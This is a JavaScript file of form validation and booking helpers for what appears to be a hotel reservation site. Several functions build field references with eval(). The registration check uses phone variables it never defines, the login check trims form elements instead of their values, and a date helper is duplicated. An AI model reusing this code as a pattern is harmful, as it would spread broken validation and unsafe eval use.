/******************* Common Functions **********************************/

function funcIsEmail(str_param_email)
{
	var str_current_character;
	var b_valid_email,b_period_present; 
	var i_last_position_of_period,b_correct_length_extension;
	var i_num_at_symbol=0;
	var i_pos_at_symbol;
	var i_length_of_server_name=1;
	var i_pos_consecutive_dots;
	var str_email=new String(funcTrim(str_param_email));
	i_length=str_email.length;
	b_period_present=1;
	b_correct_length_extension=1;
	i_last_position_of_period=0;
	
	if(i_length==0)
	{
		return true;
	}
	
	for(i_loop=0; i_loop<i_length; i_loop++)
	{
		if(!((str_email.charCodeAt(i_loop)>=65 && str_email.charCodeAt(i_loop)<=90)
		  || (str_email.charCodeAt(i_loop)>=97 && str_email.charCodeAt(i_loop)<=122)
		  || (str_email.charCodeAt(i_loop)>=48 && str_email.charCodeAt(i_loop)<=57)
		  || (str_email.charAt(i_loop)=="@")
		  || (str_email.charAt(i_loop)=="_")
		  || (str_email.charAt(i_loop)=="-")
		  || (str_email.charAt(i_loop)==".")))
		{
			return false;
		}
	}
	
	i_pos_consecutive_dots=str_email.indexOf('..');
	if(i_pos_consecutive_dots!=-1)
	{
		return false;
	}
	
	var i_pos_space;
	i_pos_space = str_email.indexOf(' ');
	if(i_pos_space!=-1)
	{
		return false;
	}
	
	i_last_position_of_period = str_email.lastIndexOf('.');
	if(i_last_position_of_period<=0)
	{
		b_period_present=0;
	}
	
	if(((i_length-i_last_position_of_period)>5) || ((i_length-i_last_position_of_period)<3))
	{
		b_correct_length_extension=0;
	}
	
	for(i_loop=0;i_loop<=i_length;i_loop++)
	{
		str_current_character=str_email.charAt(i_loop);
		if (str_current_character=='@')
		{
			i_num_at_symbol=i_num_at_symbol + 1;
		}
	}
	
	if(i_num_at_symbol!=1)
	{
		return false;
	}
	
	i_pos_at_symbol = str_email.indexOf('@');
	if(str_email.charAt(i_pos_at_symbol+1) == '.')
	{
		i_length_of_server_name=0;
	}
	
	if((i_num_at_symbol==1) && (b_period_present==1) && (b_correct_length_extension==1) && (i_length_of_server_name==1))
	{
		b_valid_email=1;
	}
	else
	{
		 b_valid_email=0;
	}
	
	if(b_valid_email==0)
	{
		return false;
	}
	else
	{
		return true;
	}
}

function funcTrim(paramString)
{
	var strString=new String(paramString);
	var strReturnText;
	strReturnText="";
	bNonBlankStarted=false;
	bNonBlankEnded=false;
	strIntermediateBlankChunk="";
	var iLoop;
	for(iLoop=0;iLoop<strString.length;iLoop++)
	{
		if(strString.charCodeAt(iLoop)!=32)
		{
			if(!bNonBlankStarted)
			{
				bNonBlankStarted=true;
			}
			if(bNonBlankStarted && !bNonBlankEnded)
			{
				strReturnText+=strString.charAt(iLoop);
			}
			if(bNonBlankEnded)
			{
				strReturnText+=(strIntermediateBlankChunk+strString.charAt(iLoop));
				bNonBlankEnded=false;
				strIntermediateBlankChunk="";
			}
		}
		else
		{
			if(bNonBlankStarted)
			{
				bNonBlankEnded=true;
				strIntermediateBlankChunk+=" ";
			}
		}
	}
	return strReturnText;
}

// Date format validation
	function validateDate(fld) {
	    var RegExPattern = /^(?=\d)(?:(?:(?:(?:(?:0?[13578]|1[02])(\/|-|\.)31)\1|(?:(?:0?[1,3-9]|1[0-2])(\/|-|\.)(?:29|30)\2))(?:(?:1[6-9]|[2-9]\d)?\d{2})|(?:0?2(\/|-|\.)29\3(?:(?:(?:1[6-9]|[2-9]\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))|(?:(?:0?[1-9])|(?:1[0-2]))(\/|-|\.)(?:0?[1-9]|1\d|2[0-8])\4(?:(?:1[6-9]|[2-9]\d)?\d{2}))($|\ (?=\d)))?(((0?[1-9]|1[012])(:[0-5]\d){0,2}(\ [AP]M))|([01]\d|2[0-3])(:[0-5]\d){1,2})?$/;
	    var errorMessage = 'Please enter valid date as month, day, and four digit year.\nYou may use a slash, hyphen or period to separate the values.\nThe date must be a real date. 2-30-2000 would not be accepted.\nFormay mm/dd/yyyy.';
	    if ((fld.match(RegExPattern)) && (fld!='')) {
	        return true;
	    } else {
	        return false;
	    } 
	}
		
 function funcAddCommas(nStr)
 {
	nStr += '';
	x = nStr.split('.');
	x1 = x[0];
	x2 = x.length > 1 ? '.' + x[1] : '';
	var rgx = /(\d+)(\d{3})/;
	while (rgx.test(x1)) {
		x1 = x1.replace(rgx, '$1' + ',' + '$2');
	}
	return x1 + x2;
 }


/******************* Common Functions **********************************/



// Search form Date changing
	function SetCheckoutDate()
	{
		var objForm = document.frmProviderSearch;
		var fromDay = objForm.from_day.value;
		var fromMonth = objForm.from_month.value;
		var fromYear = objForm.from_year.value;
		var toDay 	= objForm.to_day.value;
		var toMonth = objForm.to_month.value;
		var toYear 	= objForm.to_year.value;
		
		if(validateDate(fromMonth + "/" + fromDay + "/" + fromYear))
		{
			var fromDate = new Date();
			var toDate = new Date();
			
			fromDate.setFullYear(Number(fromYear), Number(fromMonth)-1, Number(fromDay));
			toDate.setFullYear(Number(fromYear), Number(fromMonth)-1, Number(fromDay)+2);
			toDay			= toDate.getDate();
			toMonth			= toDate.getMonth();
			toYear			= toDate.getYear();
			
			objForm.to_day.options[toDay-1].selected = true;
			objForm.to_month.options[toMonth].selected = true;
				
			var iFromSelected = objForm.from_year.selectedIndex;
			
			fromYear		= fromDate.getYear();
			if(Number(toYear) == Number(fromYear))
			{
				objForm.to_year.options[iFromSelected].selected = true;
			}
			else
			{
				objForm.to_year.options[1].selected = true;
			}
		}
	}

// Filtering Provider list based on Location, star/category, rateperday.
	function getProviderList(iAreaID, iStarCategoryID, iRateID, strFormAction, iPage)
	{
		var objForm								= document.frmProviderLeftNavigation;
		objForm.hidProviderAreaID.value			= iAreaID;
		objForm.hidProviderStarCategoryID.value = iStarCategoryID;
		objForm.hidProviderRateID.value			= iRateID;
		objForm.page.value						= iPage;
		objForm.action							= strFormAction;
		objForm.submit();
	}

// Filtering Provider list based on Location, star/category, rateperday and submitting for search.
	function getProviderListSearch(iAreaID, iStarCategoryID, iRateID, strFormAction, iPage)
	{
		var objForm								= document.frmTopRightSearchTab;
		objForm.hidProviderAreaID.value			= iAreaID;
		objForm.hidProviderStarCategoryID.value = iStarCategoryID;
		objForm.hidProviderRateID.value			= iRateID;
		objForm.page.value						= iPage;
		objForm.action							= strFormAction;
		objForm.submit();
	}

/* Setting from/to dates automatically in search form in Detail pages */
	function SetCheckoutDate() 
	{
		var objForm = document.frmProviderSearch;
		var fromDay = objForm.from_day.value;
		var fromMonth = objForm.from_month.value;
		var fromYear = objForm.from_year.value;
		var toDay 	= objForm.to_day.value;
		var toMonth = objForm.to_month.value;
		var toYear 	= objForm.to_year.value;
		
		if(validateDate(fromMonth + "/" + fromDay + "/" + fromYear))
		{
			var fromDate = new Date();
			var toDate = new Date();
			
			fromDate.setFullYear(Number(fromYear), Number(fromMonth)-1, Number(fromDay));
			toDate.setFullYear(Number(fromYear), Number(fromMonth)-1, Number(fromDay)+2);
			toDay			= toDate.getDate();
			toMonth			= toDate.getMonth();
			toYear			= toDate.getYear();
			
			objForm.to_day.options[toDay-1].selected = true;
			objForm.to_month.options[toMonth].selected = true;
				
			var iFromSelected = objForm.from_year.selectedIndex;

			fromYear		= fromDate.getYear();
			if(Number(toYear) == Number(fromYear))
			{
				
				objForm.to_year.options[iFromSelected].selected = true;
			}
			else
			{
				
				objForm.to_year.options[1].selected = true;
			}
		}
	}

/* Validating search form in Detail pages */
	function validateSearchForm()
	{
		var objForm = document.frmProviderSearch;
		var fromDay = objForm.from_day.value;
		var fromMonth = objForm.from_month.value;
		var fromYear = objForm.from_year.value;
		var toDay 	= objForm.to_day.value;
		var toMonth = objForm.to_month.value;
		var toYear 	= objForm.to_year.value;

		var dtCurrentDate	= new Date();
		var strCurrentYear	= dtCurrentDate.getFullYear();
		var strCurrentMonth = dtCurrentDate.getMonth()+1;
		var strCurrentDay	= dtCurrentDate.getDate();
		var dtNewDate		= new Date(strCurrentYear, strCurrentMonth, strCurrentDay+2);

		if(validateDate(fromMonth + "/" + fromDay + "/" + fromYear))
		{
			var fromDate = new Date(fromYear, fromMonth, fromDay);
		}
		else
		{
			alert("Please select a valid From date");
			return false;
		}

		if(validateDate(toMonth + "/" + toDay + "/" + toYear))
		{
			var toDate = new Date(toYear, toMonth, toDay);
		}
		else
		{
			alert("Please select a valid To date");
			return false;
		}
		
		if(toDate < fromDate)
		{
			alert("To date should not be a date before From date");
			return false;
		}

		if(dtNewDate > fromDate)
		{
			alert("From Date should be after 48 hours from the current time");
			return false;
		}
		
		objForm.action = "";
		
		return true;
	}
	
	
		function displayRow(iRow)
	{
		iRow = iRow + 1;
		var strRow;
		strRow = "row" + iRow;

		if (document.getElementById(strRow).style.display == 'none')
		{
			document.getElementById(strRow).style.display = 'block';
		}
		else
		{
			document.getElementById(strRow).style.display = 'none';
		}
	}
	
	function displayOffer(iRow)
	{
		iRow = iRow + 1;
		var strRow;
		strRow = "offerRow" + iRow;

		if (document.getElementById(strRow).style.display == 'none')
		{
			document.getElementById(strRow).style.display = 'block';
		}
		else
		{
			document.getElementById(strRow).style.display = 'none';
		}
	}


// view map details of each provider
function funcViewMap(strBookingUrl, strCircuitName, strProviderTypeName, strProviderReferenceID)
{
	window.open(strBookingUrl+'index.php?fuseaction='+strCircuitName+'.viewmap&refid='+strProviderReferenceID, strProviderTypeName+'Map', 'height=450,width=875,top=150,left=80,status=yes');
}

// show map based on provider type
function funcShowMap(strBookingUrl, strCircuitName, strProviderTypeName, strProviderTypeCode)
{
	window.open(strBookingUrl+'index.php?fuseaction='+strCircuitName+'.viewallmap&typecode='+strProviderTypeCode, strProviderTypeName+'Map', 'height=600,width=875,top=80,left=80,status=yes');
}

// map search
function funcSetToClear()
{
	var objForm = document.frmProviderMapSearch;
	objForm.txtsearch.value = "";
}

// provider room more details
function funcDisplayRow(iRow)
{
	iRow = iRow + 1;
	var strRow;
	strRow = "row" + iRow;

	if (document.getElementById(strRow).style.display == 'none')
	{
		document.getElementById(strRow).style.display = 'block';
	}
	else
	{
		document.getElementById(strRow).style.display = 'none';
	}
}

// validate whether a customer select room type from the list or not
function funcValidateBooking()
{
	var objForm	= document.frmSubmitBooking;
	var iCount	= objForm.hidTotalCount.value;
	
	var iLoop;
	var bSelected = false;
	var bReturn = true;
	
	for(iLoop = 1; iLoop <= iCount; iLoop++)
	{
		if (funcTrim(eval("objForm.cboNoOfRooms_"+iLoop+".value")) != 0)
		{
			bSelected = true;
			break;
		}
	}
	
	if (bSelected == false)
	{
		alert("Please select no. of Rooms you want to Book");
		bReturn = false;
	}

	return bReturn;
}


 function funcValidateExtraFeature(iRoomID, iCount, strRoomCart, iRoomCount)
 {
 	var objForm 		= document.frmPersonDetails;
	var iUnit			= 0;
	var iRate			= 0;
	var iCost			= 0;
	var iPersonCount	= 0;
	var iFeatureCount	= 0;
	var iUnitCount		= 0;
	var iTotalCount	 	= 0;

	iPersonCount 		= document.getElementById("hidNoOfPerson_"+iRoomID).value;
	iFeatureCount	 	= document.getElementById("hidTotalRoomFeatures_"+iRoomID).value;
	iUnitCount			= document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).value;
	//iTotalCount			= parseInt(iRoomCount*iPersonCount);

	if(isNaN(iUnitCount) == true)
	{
		alert("Please Enter a Valid Unit");
		document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).focus();
	}

	if(iUnitCount == 0)
	{
		alert("Unit must be greater than zero");
		document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).focus();
	}
	if(iUnitCount > iRoomCount && document.getElementById("chkExtraFeature_"+iRoomID+"_"+iCount).value == "EB")
	{
		alert("Only ONE Extra Bed is allowed per room");
		document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).value = iRoomCount;
		document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).focus();
	}
	
	
	
 	if(eval("objForm.chkExtraFeature_"+iRoomID+"_"+iCount+".checked"))
	{
		if(document.getElementById("chkExtraFeature_"+iRoomID+"_"+iCount).value == "EB")
		{
			document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).readOnly = false;
			//document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).select();
			//document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).focus();
		}

		for(var iLoop = 1; iLoop <= iFeatureCount; iLoop++)
		{
			if(eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop+".value") == 'EB' && eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop+".checked"))
			{
				iUnit = parseInt(document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iLoop).value);
			}
		}


		if(document.getElementById("chkExtraFeature_"+iRoomID+"_"+iCount).value != "EB" && iPersonCount > 1)
		{
			document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).value = iPersonCount;
		}

		for(var iLoop1 = 1; iLoop1 <= iFeatureCount; iLoop1++)
		{
			if(eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop1+".value") != 'EB' && eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop1+".checked"))
			{
				document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iLoop1).value = (parseInt(iPersonCount) * parseInt(iRoomCount)) + parseInt(iUnit);
			}
		}

		funcReCalculateTotal(strRoomCart);
		
	}
	else
	{
		if(document.getElementById("chkExtraFeature_"+iRoomID+"_"+iCount).value == "EB")
		{
			document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).value	= 1;
			document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).readOnly = true;
		}

		document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iCount).value = 1;
		document.getElementById("txtExtraFeatureTotal_"+iRoomID+"_"+iCount).value = '0.00';

		for(var iLoop = 1; iLoop <= iFeatureCount; iLoop++)
		{
			if(eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop+".value") == 'EB' && eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop+".checked"))
			{
				iUnit = parseInt(document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iLoop).value);
			}
		}


		for(var iLoop1 = 1; iLoop1 <= iFeatureCount; iLoop1++)
		{
			if(eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop1+".value") != 'EB' && eval("objForm.chkExtraFeature_"+iRoomID+"_"+iLoop1+".checked"))
			{
				document.getElementById("txtExtraFeatureUnit_"+iRoomID+"_"+iLoop1).value = (parseInt(iPersonCount) * parseInt(iRoomCount)) + parseInt(iUnit);
			}
		}

		funcReCalculateTotal(strRoomCart);
	}
 }
 
 
 function funcReCalculateTotal(strRoomCart)
 {
 	var objForm				= document.frmPersonDetails;
 	var arrRoomCart			= strRoomCart.split(";");
	var iTotalFeatureCost	= 0;
	var iTotalCost			= 0;
	var iRoomId				= 0;
	var iFeatureCount		= 0;
	var iUnit				= 0;
	var iRate				= 0;
	var iCost				= 0;
	var iDayCount			= 0;
	var iTotalPersonCount	= 0;
	
	
	iDayCount 			= parseInt(document.getElementById("hidDayCount").value);
	iTotalPersonCount	= parseInt(document.getElementById("hidTotalPersonCount").value);
	
	for(var iLoop = 0; iLoop < arrRoomCart.length; iLoop++)
	{
		var arrRoomCartSub = arrRoomCart[iLoop].split(",");

		if(arrRoomCartSub.length > 0)
		{
			iRoomId 		= arrRoomCartSub[0];
			iFeatureCount 	= document.getElementById("hidTotalRoomFeatures_"+iRoomId).value;
			
			for(var iLoop1 = 1; iLoop1 <= iFeatureCount; iLoop1++)
			{
				if(eval("objForm.chkExtraFeature_"+iRoomId+"_"+iLoop1+".checked"))
				{
					if(document.getElementById("chkExtraFeature_"+iRoomId+"_"+iLoop1).value == 'EB')
					{
						iTotalPersonCount = iTotalPersonCount + parseInt(document.getElementById("txtExtraFeatureUnit_"+iRoomId+"_"+iLoop1).value);
					}
					
					iUnit = document.getElementById("txtExtraFeatureUnit_"+iRoomId+"_"+iLoop1).value;
					iRate = document.getElementById("txtExtraFeatureRate_"+iRoomId+"_"+iLoop1).value;
					iCost = parseFloat((iUnit*iRate*iDayCount)).toFixed(2);
					document.getElementById("txtExtraFeatureTotal_"+iRoomId+"_"+iLoop1).value = iCost;
					iTotalFeatureCost = iTotalFeatureCost + parseFloat(document.getElementById("txtExtraFeatureTotal_"+iRoomId+"_"+iLoop1).value);
				}
			}
		}
	}

	iTotalCost = (parseFloat(document.getElementById("hidTotalCost").value) + iTotalFeatureCost).toFixed(2);

	document.getElementById("txtExtraFeatureTotal").value	= iTotalFeatureCost.toFixed(2);
	document.getElementById("txtTotalPersonCount").value	= iTotalPersonCount;
	document.getElementById("txtTotalCost").value			= funcAddCommas(iTotalCost);
 }

 

	function funcValidatePersonalDetails()
	{
		var objForm 			= document.frmPersonDetails;
		var strFirstName		= objForm.txtFirstName.value;
		var strLastName			= objForm.txtLastName.value;
		var iAge 				= objForm.cboAge.value;
		var strAddress 			= objForm.txtAddress.value;
		//var strPlace 			= objForm.txtPlace.value;
		var strCity 			= objForm.txtCity.value;
		var strState 			= objForm.txtState.value;
		var strCountry 			= objForm.cboCountry.value;
		var strPostCode 		= objForm.txtPostCode.value;
		var strMobileNo 		= objForm.txtMobile.value;
		var strResiNo 			= objForm.txtResi.value;
		var strEmail 			= objForm.txtEmail.value;
		var strEmailConfirm 	= objForm.txtEmailConfirm.value;
		var strArrivalFlightNo 	= objForm.txtArrivalFlightNo.value;
		
		var strFromDay 			= objForm.cboArrivalFlightDay.value;
		var strFromMonth 		= objForm.cboArrivalFlightMonth.value;
		var strFromYear 		= objForm.cboArrivalFlightYear.value;
		
		var strDeptFlightNo 	= objForm.txtDepartureFlightNo.value;
		
		var strToDay 			= objForm.cboDepartureFlightDay.value;
		var strToMonth 			= objForm.cboDepartureFlightMonth.value;
		var strToYear 			= objForm.cboDepartureFlightYear.value;
		
		var strGuestTitle 		= objForm.cboGuestTitle_1.value;
		var strGuestFirstName 	= objForm.txtGuestFirstName_1.value;
		var strGuestLastName 	= objForm.txtGuestLastName_1.value;
		var iGuestAge 			= objForm.cboGuestAge_1.value;
		var iRoomCount 			= objForm.hidRoomCount.value;
		
		var bTerms				= objForm.chkTerms.checked;
		
		var bReturn 			= true;


		var strRoomsCart		= objForm.hidRoomsCart.value;
	 	var arrRoomCart			= strRoomsCart.split(";");
		
		var iRoomId				= 0;
		var iRoomCount			= 0;
		var iFeatureCount		= 0;
		var iUnit				= 0;
		
		if(arrRoomCart.length > 0)
		{
			for(var iLoop = 0; iLoop < arrRoomCart.length; iLoop++)
			{
				var arrRoomCartSub = arrRoomCart[iLoop].split(",");
		
				if(arrRoomCartSub.length > 0)
				{
					iRoomId 		= arrRoomCartSub[0];
					iRoomCount		= arrRoomCartSub[1];
					iFeatureCount 	= document.getElementById("hidTotalRoomFeatures_"+iRoomId).value;
					
					for(var iLoop1 = 1; iLoop1 <= iFeatureCount; iLoop1++)
					{
						if(eval("objForm.chkExtraFeature_"+ iRoomId +"_"+ iLoop1 +".checked"))
						{
							iUnit 		= document.getElementById("txtExtraFeatureUnit_"+ iRoomId +"_"+ iLoop1).value;
							bReturn		= true;

							if(isNaN(iUnit) == true)
							{
								alert("Please Enter Valid Unit");
								bReturn = false;
							}
							if(bReturn == true && iUnit == 0)
							{
								alert("Unit must be greater than Zero");
								bReturn = false;
							}
							
							if(bReturn == true && iUnit > iRoomCount && document.getElementById("chkExtraFeature_"+ iRoomId +"_"+ iLoop1).value == 'EB')
							{
								alert("Only ONE Extra Bed is allowed per room");
								bReturn = false;
							}
							
							if(bReturn == false)
							{
								//alert("ok");
								document.getElementById("txtExtraFeatureUnit_"+ iRoomId +"_"+ iLoop1).select();
								document.getElementById("txtExtraFeatureUnit_"+ iRoomId +"_"+ iLoop1).focus();
								break;
							}
						}
					}
				}
			}
		}


		
		if (bReturn == true && funcTrim(strFirstName) == "")
		{
			alert("Please Enter Your Name");
			bReturn = false;
			objForm.txtFirstName.value = "";
			objForm.txtFirstName.focus();
		}
		
		if (bReturn == true && funcTrim(strLastName) == "")
		{
			alert("Please Enter Your Name");
			bReturn = false;
			objForm.txtLastName.value = "";
			objForm.txtLastName.focus();
		}

		if (bReturn == true && funcTrim(iAge) == "")
		{
			alert("Please Enter Age");
			bReturn = false;
			objForm.cboAge.focus();
		}
		
		if (bReturn == true && funcTrim(strAddress) == "")
		{
			alert("Please Enter Address");
			bReturn = false;
			objForm.txtAddress.value = "";
			objForm.txtAddress.focus();
		}
		
/*		if (bReturn == true && funcTrim(strPlace) == "")
		{
			alert("Please Enter Place");
			bReturn = false;
			objForm.txtPlace.value = "";
			objForm.txtPlace.focus();
		}
*/
		
		if (bReturn == true && funcTrim(strCity) == "")
		{
			alert("Please Enter City");
			bReturn = false;
			objForm.txtCity.value = "";
			objForm.txtCity.focus();
		}
		
		if (bReturn == true && funcTrim(strState) == "")
		{
			alert("Please Enter State");
			bReturn = false;
			objForm.txtState.value = "";
			objForm.txtState.focus();
		}
		
		if (bReturn == true && funcTrim(strCountry) == "")
		{
			alert("Please Select Country");
			bReturn = false;
			objForm.cboCountry.focus();
		}
		
		if (bReturn == true && funcTrim(strMobileNo) == "")
		{
			alert("Please Enter Mobile Number");
			bReturn = false;
			objForm.txtMobile.value = "";
			objForm.txtMobile.focus();
		}
		
		if (bReturn == true && funcTrim(strResiNo) == "")
		{
			alert("Please Enter Telephone Number");
			bReturn =  false;
			objForm.txtResi.value = "";
			objForm.txtResi.focus();
		}
		
		if (bReturn == true && funcTrim(strEmail) == "")
		{
			alert("Please Enter Email Address");
			bReturn = false;
			objForm.txtEmail.value = "";
			objForm.txtEmail.focus();
		}
		
		if (bReturn == true && funcIsEmail(strEmail) == false)
		{
			alert("Please Enter Valid Email");
			bReturn = false;
			objForm.txtEmail.focus();
		}
		
		if (bReturn == true && funcTrim(strEmailConfirm) == "")
		{
			alert("Please Enter Email Confirmation");
			bReturn = false;
			objForm.txtEmailConfirm.value = "";
			objForm.txtEmailConfirm.focus();
		}
		
		if (bReturn == true && funcIsEmail(strEmailConfirm) == false)
		{
			alert("Please Enter Valid Email");
			bReturn = false;
			objForm.txtEmailConfirm.focus();
		}
		
		if (bReturn == true && funcTrim(strEmail)!= funcTrim(strEmailConfirm))
		{
			alert("Email Confirmation Failed !");
			bReturn = false;
			objForm.txtEmailConfirm.focus();
		}
		
		if (bReturn == true && funcTrim(strGuestTitle) == 0)
		{
			alert("Please Enter at least one guest details completely");
			bReturn = false;
			objForm.cboGuestTitle_1.focus();
			
		}
		
		if (bReturn == true && funcTrim(strGuestFirstName) == "")
		{
			alert("Please Enter at least one guest details completely");
			bReturn = false;
			objForm.txtGuestFirstName_1.focus();
		}
		
		if (bReturn == true && funcTrim(strGuestLastName) == "")
		{
			alert("Please Enter at least one guest details completely");
			bReturn = false;
			objForm.txtGuestLastName_1.focus();
		}
		
		if (bReturn == true && funcTrim(iGuestAge) == "")
		{
			alert("Please Enter at least one guest details completely");
			bReturn = false;
			objForm.cboGuestAge_1.focus();
		}
		

		if (bReturn == true && funcTrim(strArrivalFlightNo) == "")
		{
			alert("Please Enter Arrival Flight Number");
			bReturn = false;
			objForm.txtArrivalFlightNo.value = "";
			objForm.txtArrivalFlightNo.focus();
		}
		
		if (bReturn == true && validateDate(strFromMonth+"/"+strFromDay+"/"+strFromYear) == false)
		{
			alert("Please Enter a Valid Arrival Date");
			bReturn = false;
			objForm.cboArrivalFlightDay.focus();
		}
		else
		{
			var FromDate = new Date(strFromYear, strFromMonth, strFromDay);			
		}
		
		if (bReturn == true && funcTrim(strDeptFlightNo) == "")
		{
			alert("Please Enter Departure Flight Number");
			bReturn = false;
			objForm.txtDepartureFlightNo.value = "";
			objForm.txtDepartureFlightNo.focus();
		}
		
		if (bReturn == true && validateDate(strToMonth+"/"+strToDay+"/"+strToYear) == false)
		{
			alert("Please Enter a validate Departure Date");
			bReturn = false;
			objForm.cboDepartureFlightDay.focus();
		}
		else
		{
			var ToDate = new Date(strToYear, strToMonth, strToDay);
		}
		
		if (bReturn == true && FromDate > ToDate)
		{
			alert("Arrival Date Should Not Be Greater than Departure Date");
			bReturn = false;
			objForm.cboArrivalFlightDay.focus();
		}

		if(bReturn == true && bTerms == false)
		{
			alert("Please read and agree terms and conditions");
			bReturn = false;
		}
		
		return bReturn;
	}
 
	// Validate Login
	 function funcValidateLogin()
	 {
	 	objForm 	= document.frmLogin;
		strEmail	= objForm.txtLogin;
		strPassword = objForm.txtLoginPassword;
		
		if(funcTrim(strEmail) == "")
		{
			alert("Please enter email");
			objForm.txtLogin.focus();
			return false;
		}
	
		if(funcTrim(strPassword) == "")
		{
			alert("Please enter password");
			objForm.txtLoginPassword.focus();
			return false;
		}
		return true;
	 }
 
	// Validate Register
	 function funcValidateRegister()
	 {
	 	var objForm 			= document.frmRegister;
		var strFirstName		= objForm.txtFirstName.value;
		var strLastName			= objForm.txtLastName.value;
		var iAge 				= objForm.cboAge.value;
		var strAddress 			= objForm.txtAddress.value;
		//var strPlace 			= objForm.txtPlace.value;
		var strCity 			= objForm.txtCity.value;
		var strState 			= objForm.txtState.value;
		var strCountry 			= objForm.cboCountry.value;
		var strEmail 			= objForm.txtEmail.value;
		var strEmailConfirm 	= objForm.txtEmailConfirm.value;
		var strPassword			= objForm.txtPassword.value;
		var bReturn 			= true;
	
		if (bReturn == true && funcTrim(strFirstName) == "")
		{
			alert("Please Enter Your Name");
			bReturn = false;
			objForm.txtFirstName.value = "";
			objForm.txtFirstName.focus();
		}

		if (bReturn == true && funcTrim(strLastName) == "")
		{
			alert("Please Enter Your Name");
			bReturn = false;
			objForm.txtLastName.value = "";
			objForm.txtLastName.focus();
		}

		if (bReturn == true && funcTrim(iAge) == "")
		{
			alert("Please Enter Age");
			bReturn = false;
			objForm.cboAge.focus();
		}
		
		if (bReturn == true && funcTrim(strAddress) == "")
		{
			alert("Please Enter Address");
			bReturn = false;
			objForm.txtAddress.value = "";
			objForm.txtAddress.focus();
		}
		
		/*if (bReturn == true && funcTrim(strPlace) == "")
		{
			alert("Please Enter Place");
			bReturn = false;
			objForm.txtPlace.value = "";
			objForm.txtPlace.focus();
		}*/
		
		if (bReturn == true && funcTrim(strCity) == "")
		{
			alert("Please Enter City");
			bReturn = false;
			objForm.txtCity.value = "";
			objForm.txtCity.focus();
		}
		
		if (bReturn == true && funcTrim(strState) == "")
		{
			alert("Please Enter State");
			bReturn = false;
			objForm.txtState.value = "";
			objForm.txtState.focus();
		}
		
		if (bReturn == true && funcTrim(strCountry) == "")
		{
			alert("Please Select Country");
			bReturn = false;
			objForm.cboCountry.focus();
		}
		
		if (bReturn == true && funcTrim(strMobileNo) == "")
		{
			alert("Please Enter Mobile Number");
			bReturn = false;
			objForm.txtMobile.value = "";
			objForm.txtMobile.focus();
		}
		
		if (bReturn == true && funcTrim(strResiNo) == "")
		{
			alert("Please Enter Telephone Number");
			bReturn =  false;
			objForm.txtResi.value = "";
			objForm.txtResi.focus();
		}
		
		if (bReturn == true && funcTrim(strEmail) == "")
		{
			alert("Please Enter Email Address");
			bReturn = false;
			objForm.txtEmail.value = "";
			objForm.txtEmail.focus();
		}
		
		if (bReturn == true && funcIsEmail(strEmail) == false)
		{
			alert("Please Enter Valid Email");
			bReturn = false;
			objForm.txtEmail.focus();
		}
		
		if (bReturn == true && funcTrim(strEmailConfirm) == "")
		{
			alert("Please Enter Email Confirmation");
			bReturn = false;
			objForm.txtEmailConfirm.value = "";
			objForm.txtEmailConfirm.focus();
		}
		
		if (bReturn == true && funcIsEmail(strEmailConfirm) == false)
		{
			alert("Please Enter Valid Email");
			bReturn = false;
			objForm.txtEmailConfirm.focus();
		}
		
		if (bReturn == true && funcTrim(strEmail)!= funcTrim(strEmailConfirm))
		{
			alert("Email Confirmation Failed !");
			bReturn = false;
			objForm.txtEmailConfirm.focus();
		}
		
		if (bReturn == true && funcTrim(strPassword) == "")
		{
			alert("Please Enter Password");
			bReturn = false;
			objForm.txtPassword.value = "";
			objForm.txtPassword.focus();
		}
		
		return bReturn;
	 }
	 
	 function funcGetProviderDetails(iProviderTypeId, iProviderId, iReservationId)
	 {
	 	window.open("index.php?fuseaction=booking.bookingdetails&ptypeid="+iProviderTypeId+"&pid="+iProviderId+"&rid="+iReservationId,'BookingDetails','height=425,width=500,top=80,left=200,menubar=0,resizable=0,scrollbars=1,location=0,titlebar=0,fullscreen=0,status=0');
	 }











